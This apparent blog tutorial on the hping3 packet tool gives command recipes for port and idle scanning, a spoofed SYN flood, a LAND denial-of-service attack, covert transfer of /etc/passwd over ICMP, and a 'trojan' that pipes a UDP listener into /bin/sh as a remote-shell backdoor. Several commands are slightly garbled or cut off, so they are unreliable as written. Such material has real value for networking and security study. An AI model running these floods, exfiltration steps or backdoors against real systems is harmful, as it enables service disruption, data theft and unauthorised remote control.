since version 3, that's now in alpha stage, hping is trying to not be just a little tool but to become a framework for scripting related to TCP/IP testing and security. hping3 continues to be command-line compatible with hping2, but integrates two main new things: the first is an engine called APD that is able to translate simple packet descriptions in the form of strings into a packet ready to be sent, and the reverse (generate the representation from a real packet). The second is the Tcl scripting language. So you can imagine hping3 as a scriptable TCP/IP stack
Example Script:
set srcaddr 192.168.1.5
foreach destaddr {192.168.1.8 192.168.1.10} {
foreach ttl {1 2 3 4} {
hping send "ip(saddr=$srcaddr,daddr=$destaddr,ttl=$ttl)+icmp(type=8,code=0,id=5,seq=10)+data(str[string repeat X 28])"
}
}
hping2 was used (in the past) to...
• Traceroute/ping/probe hosts behind a firewall that blocks attempts using the standard utilities.
• Perform the idle scan (now implemented in nmap with an easy user interface).
• Test firewalling rules.
• Test IDSes.
• Exploit known vulnerabilties of TCP/IP stacks.
• Networking research.
• Learn TCP/IP (hping was used in networking courses AFAIK).
hping3 should be used to...
• Write real applications related to TCP/IP testing and security.
• Automated firewalling tests. • Proof of concept exploits.
• Networking and security research when there is the need to emulate complex TCP/IP behaviour.
• Prototype IDS systems.
• Simple to use networking utilities with Tk interface.
• All the usage of hping2
1)Hping as Port Scanner
hping3 -S 172.31.19.1 -p 80
hping3 -S 172.31.19.1 -p ++20 (it will increase the value of port to plus one on every iteration)
All known NMAP scanning techniques can be easily reproduced (accept a CONNECT scan), but a finer (dont get me wrong, not a bad word about NMAP!!!) control on the packets can be obtained
2)Idle Scanning
Idle scanning is a technique to portscan a remote system fully anonymous.
hping3 -a 192.168.10.1 -S 192.168.10.33 -p ++20
hping3 -r -S 192.168.10.1 -p 2000
3)FireWalk
hping can be used for traceroute and firewall study also.
hping3 -z -t 6 -S mail.example.com -p 143
4)SYN Attack
hping3 -a 172.31.19.3 -S 172.31.19.11 -p 80 -i u1000
5)LAND Attack
Type of Denial of service attack.Not very effective these days but can waste resources .
hping3 -S -a 10.10.10.10 -p 21 10.10.10.10
6)Packets with signatures
cat /root/signature.sig
"Vishal Mishra"
hping3 -2 -p 7 192.168.10.33 -d 50 -E /root/signature.sig
Now have a look at the packet dump capture via Wireshark
7)Transferring a file
hping3 192.168.10.66 --listen signature --safe --icmp
On Source machine type following now
hping3 192.168.10.44 --icmp d 100 --sign signature --file /etc/passwd
on the other site you must sign the packet, with the signature used at the receiving site.
8)Hping As a Trojan
hping3 192.168.10.66 --listen signature --safe --udp -p 53 |/bin/sh
hping3 192.168.10.44 -p 53 -d 100 --udp --sign siganature --file
Comments
Post a Comment